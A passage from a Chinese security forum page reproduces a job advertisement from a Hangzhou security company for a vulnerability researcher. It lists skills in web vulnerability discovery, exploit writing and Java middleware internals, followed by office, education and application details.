限 于 P H P / J A V A / . N E T / A S P 等 大 中 型 应 用 漏 洞 ， 并 编 写 e x p ； 2 、 具 备 优 秀 的 J A V A 开 发 能 力 ， 能 熟 练 挖 掘   J A V A   W E B   方 面 的 漏 洞 ， 深 入 了 解 t o m c a t , w e b l o g i c , j b o s s , r e s i n 等 中 间 件 内 部 构 造 ； 3 、 熟 练 使 用 至 少 一 门 开 发 语 言 ， 如 ： P H P 、 p y t h o n 、 j a v a ； 4 、 有 比 较 强 的 开 发 能 力 ， 熟 悉 j a v a   w e b 的 常 见 漏 洞 原 理 ， 有 能 力 挖 掘 和 分 析 j a v a   w e b 方 面 的 漏 洞 ； 5 、 有 比 较 好 的 漏 洞 挖 掘 能 力 ， “ 0 d a y   挖 掘 机 ” 优 先 考 虑 ； 6 、 有 重 大 漏 洞 发 掘 的 优 先 考 虑 。 【 关 于 岗 位 的 其 他 信 息 】 企 业 名 称 ： 杭 州 安 恒 信 息 技 术 股 份 有 限 公 司 办 公 地 点 ： 杭 州 市 滨 江 区 安 恒 大 厦 2 0 楼 安 全 研 究 院 学 历 要 求 ： 本 科 及 以 上 工 作 年 限 ： 1 年 及 以 上 ， 条 件 优 秀 者 可 放 宽 简 历 投 递 至   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n
专 注 渗 透 测 试 技 术 全 球 最 新 网 络 攻 击 技 术 E N D
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理